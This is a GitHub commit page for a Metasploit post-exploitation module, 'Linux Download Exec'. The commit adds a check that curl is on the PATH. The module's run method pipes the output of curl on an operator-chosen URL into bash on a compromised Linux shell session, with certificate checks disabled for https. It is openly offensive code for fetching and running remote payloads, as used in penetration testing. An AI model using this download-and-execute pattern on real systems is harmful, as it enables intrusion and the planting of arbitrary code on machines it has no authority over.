Skip to content

Commit

Permalink
Merge pull request #2 from jvazquez-r7/post_download_exec_work
Browse files Browse the repository at this point in the history
check if curl is on the path
  • Loading branch information
jabra- committed Mar 20, 2013
2 parents 9948d1e + 54f22ed commit aa22a82
Showing 1 changed file with 38 additions and 16 deletions.
54 changes: 38 additions & 16 deletions modules/post/linux/manage/download_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,26 +21,48 @@ class Metasploit3 < Msf::Post

def initialize(info={})
super( update_info( info,
'Name' => 'Linux Download Exec',
'Description' => %q{
This module downloads and runs a file with bash. It uses curl and bash from the PATH.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Joshua D. Abraham <jabra[at]praetorian.com>',
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download.'])
], self.class)
'Name' => 'Linux Download Exec',
'Description' => %q{
This module downloads and runs a file with bash. It uses curl and bash from the PATH.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Joshua D. Abraham <jabra[at]praetorian.com>',
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))

register_options(
[
OptString.new('URL', [true, 'Full URL of file to download.'])
], self.class)

end

def exists_exe?(exe)
path = expand_path("$PATH")
if path.nil? or path.empty?
return false
end

path.split(":").each{ |p|
return true if file_exist?(p + "/" + exe)
}

return false
end

def run
print_status("Checking if curl exists in the path...")
if exists_exe?("curl")
print_good("curl available, going ahead...")
else
print_warning("curl not available on the $PATH, aborting...")
return
end

if datastore['URL'].match(/https/)
cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
else
Expand Down

0 comments on commit aa22a82

Please sign in to comment.